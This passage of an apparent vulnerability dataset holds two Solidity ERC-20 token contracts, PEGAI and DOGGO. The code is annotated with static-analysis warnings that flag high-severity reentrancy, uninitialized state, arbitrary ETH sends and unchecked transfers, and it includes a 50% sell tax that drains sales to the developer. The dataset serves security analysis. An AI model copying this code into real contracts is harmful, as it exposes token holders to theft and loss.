uint amountETH, uint liquidity);\n}\n\ncontract PEGAI is Context, IERC20, Ownable {\n mapping(address => uint256) private _balance;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _IsLimitFree;\n\n uint256 private constant MAX = ~uint256(0);\n\n uint8 private constant _decimals = 18;\n\n uint256 public buyTax = 15;\n\n uint256 public sellTax = 50;\n\n uint256 private constant _totalSupply = 1_000_000_000 * 10 ** _decimals;\n\n uint256 private constant onePercent = (_totalSupply) / 100;\n\n uint256 private constant minimumSwapAmount = 100_000;\n\n\t// WARNING Optimization Issue (constable-states | ID: 13bb122): PEGAI.maxSwap should be constant \n\t// Recommendation for 13bb122: Add the 'constant' attribute to state variables that never change.\n uint256 private maxSwap = (onePercent * 16) / 10;\n\n uint256 public MaxPerTxn = (onePercent * 16) / 10;\n\n uint256 public MaxPerWallet = (onePercent * 16) / 10;\n\n string private constant _name = \"Pegasus AI\";\n\n string private constant _symbol = \"PEGAI\";\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n address public immutable DevAddress;\n\n bool private launch = false;\n\n constructor() {\n DevAddress = 0x4b920218373C5d9c92f77f13F2f5d1F1513D2931;\n\n _balance[msg.sender] = _totalSupply;\n\n _IsLimitFree[DevAddress] = 1;\n\n _IsLimitFree[msg.sender] = 1;\n\n _IsLimitFree[address(this)] = 1;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9bb8045): PEGAI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9bb8045: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 92a04bd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 92a04bd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 979741f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 979741f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 92a04bd\n\t\t// reentrancy-benign | ID: 979741f\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount is more than allowed amount\"\n );\n\n unchecked {\n\t\t\t\t// reentrancy-events | ID: 92a04bd\n\t\t\t\t// reentrancy-benign | ID: 979741f\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ad04474): PEGAI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ad04474: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: owner can't be zero address\");\n\n require(spender != address(0), \"ERC20: spender can't be zero address\");\n\n\t\t// reentrancy-benign | ID: 979741f\n\t\t// reentrancy-benign | ID: 652bc14\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 944be0a\n\t\t// reentrancy-events | ID: 92a04bd\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 944be0a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 944be0a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 652bc14): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 652bc14: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 339bc48): PEGAI.launchToken() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 339bc48: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5d389c2): PEGAI.launchToken() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5d389c2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9ecfb20): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9ecfb20: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function launchToken() external onlyOwner {\n require(!launch, \"Trading already active!\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-events | ID: 944be0a\n\t\t// reentrancy-benign | ID: 652bc14\n\t\t// reentrancy-eth | ID: 9ecfb20\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 944be0a\n\t\t// reentrancy-benign | ID: 652bc14\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n\t\t// unused-return | ID: 5d389c2\n\t\t// reentrancy-eth | ID: 9ecfb20\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 339bc48\n\t\t// reentrancy-eth | ID: 9ecfb20\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 9ecfb20\n launch = true;\n }\n\n function RemoveLimits() external onlyOwner {\n MaxPerTxn = _totalSupply;\n\n MaxPerWallet = _totalSupply;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 12b5917): PEGAI.LowerTaxes(uint256,uint256) should emit an event for buyTax = newBuyTax sellTax = newSellTax \n\t// Recommendation for 12b5917: Emit an event for critical parameter changes.\n function LowerTaxes(\n uint256 newBuyTax,\n uint256 newSellTax\n ) external onlyOwner {\n require(\n newBuyTax <= buyTax && newSellTax <= sellTax,\n \"Tax cannot be increased\"\n );\n\n\t\t// events-maths | ID: 12b5917\n buyTax = newBuyTax;\n\n\t\t// events-maths | ID: 12b5917\n sellTax = newSellTax;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 amount,\n uint256 _tax\n ) private {\n uint256 taxTokens = (amount * _tax) / 100;\n\n uint256 transferAmount = amount - taxTokens;\n\n\t\t// reentrancy-eth | ID: 0b3ee5c\n _balance[from] = _balance[from] - amount;\n\n\t\t// reentrancy-eth | ID: 0b3ee5c\n _balance[to] = _balance[to] + transferAmount;\n\n\t\t// reentrancy-eth | ID: 0b3ee5c\n _balance[address(this)] = _balance[address(this)] + taxTokens;\n\n\t\t// reentrancy-events | ID: 3a6561e\n emit Transfer(from, to, transferAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3a6561e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3a6561e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0b3ee5c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0b3ee5c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(\n from != address(0),\n \"ERC20: transfer from zero address not allowed\"\n );\n\n require(amount > 0, \"ERC20: amount should be greater than zero\");\n\n uint256 _tax = 0;\n\n if (_IsLimitFree[from] == 0 && _IsLimitFree[to] == 0) {\n require(launch, \"Trading not started yet\");\n\n require(amount <= MaxPerTxn, \"MaxPerTxn Enabled at launch\");\n\n if (to != uniswapV2Pair && to != address(0xdead))\n require(\n balanceOf(to) + amount <= MaxPerWallet,\n \"MaxPerWallet Enabled at launch\"\n );\n\n if (from == uniswapV2Pair) {\n _tax = buyTax;\n } else if (to == uniswapV2Pair) {\n uint256 tokensToSwap = balanceOf(address(this));\n\n if (tokensToSwap > minimumSwapAmount) {\n uint256 mxSw = maxSwap;\n\n if (tokensToSwap > amount) tokensToSwap = amount;\n\n if (tokensToSwap > mxSw) tokensToSwap = mxSw;\n\n\t\t\t\t\t// reentrancy-events | ID: 3a6561e\n\t\t\t\t\t// reentrancy-eth | ID: 0b3ee5c\n swapTokensForEth(tokensToSwap);\n }\n\n _tax = sellTax;\n }\n }\n\n\t\t// reentrancy-events | ID: 3a6561e\n\t\t// reentrancy-eth | ID: 0b3ee5c\n _tokenTransfer(from, to, amount, _tax);\n }\n\n function Weth() external onlyOwner {\n bool success;\n\n (success, ) = owner().call{value: address(this).balance}(\"\");\n }\n\n function ManualSwap(uint256 percent) external onlyOwner {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 amtswap = (percent * contractBalance) / 100;\n\n swapTokensForEth(amtswap);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 92a04bd\n\t\t// reentrancy-events | ID: 3a6561e\n\t\t// reentrancy-benign | ID: 979741f\n\t\t// reentrancy-eth | ID: 0b3ee5c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n bool success;\n\n uint256 devtax = address(this).balance;\n\n\t\t// reentrancy-events | ID: 92a04bd\n\t\t// reentrancy-events | ID: 3a6561e\n\t\t// reentrancy-benign | ID: 979741f\n\t\t// reentrancy-eth | ID: 0b3ee5c\n (success, ) = DevAddress.call{value: devtax}(\"\");\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10141.sol",
"size_bytes": 15796,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract DOGGO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: ef75dce): DOGGO.bots is never initialized. It is used in DOGGO._transfer(address,address,uint256)\n\t// Recommendation for ef75dce: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 14b7142): DOGGO._taxWallet should be immutable \n\t// Recommendation for 14b7142: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3beef52): DOGGO._initialBuyTax should be constant \n\t// Recommendation for 3beef52: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: a616c18): DOGGO._initialSellTax should be constant \n\t// Recommendation for a616c18: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d399f11): DOGGO._reduceBuyTaxAt should be constant \n\t// Recommendation for d399f11: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5fa96e9): DOGGO._reduceSellTaxAt should be constant \n\t// Recommendation for 5fa96e9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 05a8b11): DOGGO._preventSwapBefore should be constant \n\t// Recommendation for 05a8b11: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name =\n unicode\"Dynamic Omnipotent Game-changing Genius Optimization\";\n\n string private constant _symbol = unicode\"$D.O.G.G.O\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54463ed): DOGGO._taxSwapThreshold should be constant \n\t// Recommendation for 54463ed: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9b15842): DOGGO._maxTaxSwap should be constant \n\t// Recommendation for 9b15842: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 05e4b7e): DOGGO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 05e4b7e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ca7818f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ca7818f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3de1f34): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3de1f34: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ca7818f\n\t\t// reentrancy-benign | ID: 3de1f34\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ca7818f\n\t\t// reentrancy-benign | ID: 3de1f34\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f267832): DOGGO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f267832: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3de1f34\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ca7818f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 15899cf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 15899cf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: ef75dce): DOGGO.bots is never initialized. It is used in DOGGO._transfer(address,address,uint256)\n\t// Recommendation for ef75dce: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 71c5754): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 71c5754: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 15899cf\n\t\t\t\t// reentrancy-eth | ID: 71c5754\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 15899cf\n\t\t\t\t\t// reentrancy-eth | ID: 71c5754\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 71c5754\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 71c5754\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 71c5754\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 15899cf\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 71c5754\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 71c5754\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 15899cf\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ca7818f\n\t\t// reentrancy-events | ID: 15899cf\n\t\t// reentrancy-benign | ID: 3de1f34\n\t\t// reentrancy-eth | ID: 71c5754\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 655aaea): DOGGO.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 655aaea: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ca7818f\n\t\t// reentrancy-events | ID: 15899cf\n\t\t// reentrancy-eth | ID: 71c5754\n\t\t// arbitrary-send-eth | ID: 655aaea\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0d5b4b7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0d5b4b7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 41dbfeb): DOGGO.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 41dbfeb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 341402b): DOGGO.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 341402b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a5f4c18): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a5f4c18: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 0d5b4b7\n\t\t// reentrancy-eth | ID: a5f4c18\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 0d5b4b7\n\t\t// unused-return | ID: 41dbfeb\n\t\t// reentrancy-eth | ID: a5f4c18\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0d5b4b7\n\t\t// unused-return | ID: 341402b\n\t\t// reentrancy-eth | ID: a5f4c18\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 0d5b4b7\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: a5f4c18\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f6dab2a): DOGGO.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for f6dab2a: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: f6dab2a\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10142.sol",
"size_bytes": 21133,
"vulnerability": 4
} |
{
